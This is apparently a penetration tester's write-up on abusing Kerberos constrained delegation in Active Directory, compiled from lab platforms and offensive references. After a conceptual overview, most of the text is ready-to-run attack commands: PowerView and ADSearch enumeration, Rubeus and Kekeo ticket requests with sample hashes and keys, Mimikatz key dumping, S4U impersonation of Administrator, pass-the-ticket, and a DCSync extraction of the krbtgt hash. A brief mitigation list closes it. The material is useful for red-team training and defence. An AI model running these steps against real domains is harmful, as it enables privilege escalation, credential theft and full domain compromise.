Description

Kerberos Delegation

The practical use of Kerberos Delegation is to enable an application to access resources hosted on a different server. An example of this would be a web server that needs to access a SQL database hosted on the database server for the web application that it is hosting. Without delegation, we would probably use an AD service account and provide it with direct access to the database. When requests are made on the web application, the service account would be used to authenticate to the database and recover information.

However, we can allow this service account to be delegated to the SQL server service. Once a user logs into our web application, the service account will request access to the database on behalf of that user. This means that the user would only be able to access data in the database that they have the relevant permissions for without having to provide any database privileges or permissions to the service account itself.

Constrained vs Unconstrained

There are two types of Kerberos Delegation. In the original implementation of Kerberos Delegation, Unconstrained Delegation was used, which is the least secure method. In essence, Unconstrained Delegation provides no limits to the delegation. In the background, if a user with the “TRUSTED_FOR_DELEGATION” flag set authenticates to a host with Unconstrained Delegation configured, a ticket-granting ticket (TGT) for that user account is generated and stored in memory so it can be used later if needed. Suppose an attacker can compromise a host that has Unconstrained Delegation enabled the flag “TRUSTED_TO_AUTH_FOR_DELEGATION”. In that case, they could attempt to force a privileged account to authenticate to the host, which would allow them to intercept the generated TGT and impersonate the privileged service.

To combat the security failings of Unconstrained Delegation, Microsoft introduced Constrained Delegation in 2003. Constrained Delegation restricts what services an account can be delegated to, limiting exposure if an account is compromised. The following are examples of services that can be configured for delegation:

• HTTP – Used for web applications to allow pass-through authentication using AD credentials.
• CIFS – Common Internet File System is used for file sharing that allows delegation of users to shares.
• LDAP – Used to delegate to the LDAP service for actions such as resetting a user’s password.
• HOST – Allows delegation of account for all activities on the host.
• MSSQL – Allows delegation of user accounts to the SQL service for pass-through authentication to databases.

Exploiting Constrained Delegation is usually more complex than exploiting Unconstrained Delegation since the delegated account can’t just be used for everything. However, it can still be used for some powerful exploitation.

• An example of this would be if we were able to compromise an AD account that had constrained delegation configured. By knowing the plaintext password or even just the NTLM hash of this account, we could generate a TGT for this account,
• then use the TGT to execute a ticket-granting server (TGS) request for any non-sensitive user account in order to access the service as that user. Imagine impersonating an account with access to a sensitive database, for example.

Resource-Based Constrained Delegation

There are actually three types of Kerberos Delegation. But this one deserves to be mentioned on its own. Introduced by Microsoft in 2012, Resource-Based Constrained Delegation (RBCD) once again provided additional restrictions on Kerberos Delegation for security. RBCD changes the delegation model entirely.

• Instead of specifying which object can delegate to which service, the service now specifies which objects can delegate to it. This allows the service owner to control who can access it.

Kerberos Constrained Delegation

If you have compromised a user account or a computer (machine account) that has kerberos constrained delegation enabled, it’s possible to impersonate any domain user (including administrator) and authenticate to a service that the user account is trusted to delegate to.

Requirements

• User/Service Account/computer’s password/hash that has Constrained Delegations permissions
• Kerberos Authentication: The target environment should use Kerberos authentication.
• Account has the TRUSTED_TO_AUTH_FOR_DELEGATION flag in the User Account Control (UAC) flags.

Escalation Vectors

• Vertically, escalate privileges to a higher privileged user like Domain Admin.
• Horizontally, obtain privileges to another user who has access to different resources within the network not accessible to the original compromised account.

Identify

In order to Identify the target user with TRUSTED_TO_AUTH_FOR_ DELEGATION flag, run

PowerView

1. In Powershell, download & import the module PowerView.ps1. (https://github.com/PowerShellMafia/PowerSploit/tree/master)

• Import-Module .\PowerView.ps1

2. Find account with TRUSTED_TO_AUTH_FOR_ DELEGATION flag

• Get-NetUser -TrustedToAuth
• Get-DomainUser -TrustedToAuth
• Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
• Get-DomainComputer -TrustedToAuth
• Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto

Note: important to look for the following object data

• Samaccountname
• msds-allowedtodelegateto
• memberof
• useraccountcontrol

ADSearch

1. You can also enumerate TRUSTED_TO_AUTH_FOR_ DELEGATION, using ADSearch. (https://github.com/tomcarver16/ADSearch)

• ADSearch.exe –search “(&(objectCategory=computer)(msds-allowedtodelegateto=*))” –attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto –json

PowerShell

1. Search both users and computers for Constrained Delegation

• Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne “$null”} -Properties msDS-AllowedToDelegateTo

Exploitation

Triage current tickets

1. If you are SYSTEM in the server, you might take it from memory

• Rubeus.exe Triage

2. Dump system TGT

Rubeus.exe dump /luid:0x3e4 /service:krbtgt /user:srv01 /nowrap

Mimikatz

1. If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one

• mimikatz sekurlsa::ekeys

Request TGT

The first step is to get a TGT of the service that can impersonate others. We require the Username/Password that belongs to the account that has TRUSTED_TO_AUTH_FOR_ DELEGATION flag

Rubeus

1. Knowing the delegated user/computer/service (hash/password/aes256/rc4) you can request a TGT

Password

• .\Rubeus.exe asktgt /user:SQLService /password:MYpassword123#
• .\Rubeus.exe asktgt /user:SQLService /password:MYpassword123# /outfile:TGT_svc.kirbi

AES256

• .\Rubeus.exe asktgt /user:SQLService /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap

RC4

• .\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_svc.kirbi

Kekeo

1. You can try to request TGT using

Password

• tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:redacted

AES265

• tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05

RC4

• tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d

Request TGS

Rubeus

1. Once we have the TGT ticket, the next step is to obtain a TGS of the Administrator user to self

• .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
• .\Rubeus.exe s4u /ticket:TGT_cifs.kirbi /impersonateuser:Administrator /msdsspn:cifs/Lab-DC.lab.local /user:SQLService /nowrap /outfile:TGS_administrator
• Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/dc01.security.local /user:srv01$ /ticket:[Base64 ticket] /nowrap

2. (Optional) Obtain service TGS impersonating Administrator (CIFS service)

• .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:”CIFS/dcorp-mssql.dollarcorp.moneycorp.local” /outfile:TGS_administrator_CIFS

3. (Optional) Impersonate Administrator on different service (HOST)

• .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:”CIFS/dcorp-mssql.dollarcorp.moneycorp.local” /altservice:HOST /outfile:TGS_administrator_HOST

4. (Optional) Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)

• .\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:”CIFS/dcorp-mssql.dollarcorp.moneycorp.local” /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap

Kekeo

1. Once we have the TGT ticket, the next step is to obtain a TGS of the Administrator user to self

• tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones

Method #1: Load TGS to Memory

Rubeus

1. Before, loading the ticket to memory, we can test the service access, we get access denied

• dir \\lab-dc.lab.local\c$

2. Load ticket in memory

• .\Rubeus.exe ptt /ticket:TGS_administrator_cifs_Lab-DC.lab.local

3. Test access again

• dir \\lab-dc.lab.local\c$

4. Confirm the TGS has been loaded to memory

• Rubeus.exe triage

Mimikatz

1. Load ticket in memory

• kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi

Method #2: Load TGS to Memory (Separate Session)

Rubeus

1. Pass ticket into separate session (Preferred), Create new LUID session (Requires Elevation)

• Rubeus.exe createnetonly /program:c:\windows\system32\cmd.exe /show

2. Pass ticket into new session

Rubeus.exe ptt /luid:[LUID from previous command] /ticket:[Base64 ticket]

Alternate Service Name

1. Kerberos uses a Service Principal Name (SPN) to identify a service during authentication, which is typically a combination of the service name and the host’s name where the service is running. Rubeus.exe includes an option called /altservicename that enables an attacker to use a different service name when constructing the SPN. This option can be helpful in certain situations, such as when the default service name is unavailable or the attacker wants to target a specific service.

In this instance, we’re leveraging the TGT issued for SRV01$ to obtain a TGS for LDAP.

Following on from the section: Obtain TGT use the following commands to generate a TGS for the alternative service name.

• Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/dc01.security.local /altservice:ldap /user:srv01$ /ticket:[Base64 ticket] /nowrap

2. In the above output we alternate the CIFS service for LDAP. As the Domain Administrator has been impersonated this can be used to perfrom DCSync.

• Invoke-Mimikatz -Command ‘”lsadump::dcsync /domain:security.local /user:krbtgt”‘

Mitigation

• To mitigate against the abuse of delegated accounts, we can ensure that the privileged accounts are configured to “Account is sensitive and cannot be delegated” within the Active Directory or added to the Protected User group to prevent delegation.
• If delegation is needed for specific accounts, they should be secured with firewall rules that only serve the purpose and delegation to the required service and limit any other privileged access that might not be necessary.
• Also, ensure the delegated accounts use strong passwords to protect them against attacks like Kerberoasting.

References

https://tryhackme.com/r/room/exploitingad

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/constrained-delegation

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/resource-based-constrained-delegation

https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/steal-or-forge-kerberos-tickets/constrained-delegation

https://medium.com/r3d-buck3t/attacking-kerberos-constrained-delegations-4a0eddc5bb13